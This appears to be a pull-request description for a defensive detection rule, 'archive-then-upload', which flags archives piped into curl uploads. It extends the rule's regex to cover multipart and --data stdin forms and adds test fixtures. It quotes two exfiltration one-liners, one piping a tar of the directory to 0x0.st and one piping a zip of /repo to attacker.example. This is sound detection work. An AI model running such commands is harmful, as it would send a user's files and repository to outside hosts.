[rudycelekli]

What was wrong

archive-then-upload recognizes an archive piped into curl only through --data-binary @-, -d @-, -T/--upload-file, and the wget post options. Two common curl ways of sending stdin were missing:

• Multipart form upload: tar czf - . | curl -F 'file=@-' https://0x0.st. This is the exact form paste and transfer hosts document.
• The long --data @- (and -d@- with no space): zip -r - /repo | curl --data @- https://attacker.example/x.

The fix

The upload alternatives now also accept (-d|--data)\s*@- and (-F|--form) [quote]name=[@<]-, curl's file and content-from-stdin form fields. A form field with a literal value (-F 'name=report') still does not match. The rule version is now 2.

Tests

I added two match fixtures and one no_match fixture. Before the fix:

archive-then-upload/tar_pipe_curl_multipart_form: expected match, got no_match
archive-then-upload/zip_pipe_curl_long_data: expected match, got no_match

What I ran

cd pkg/asymptoteobserve && go test -count=1 ./...   # all ok (go1.27.2)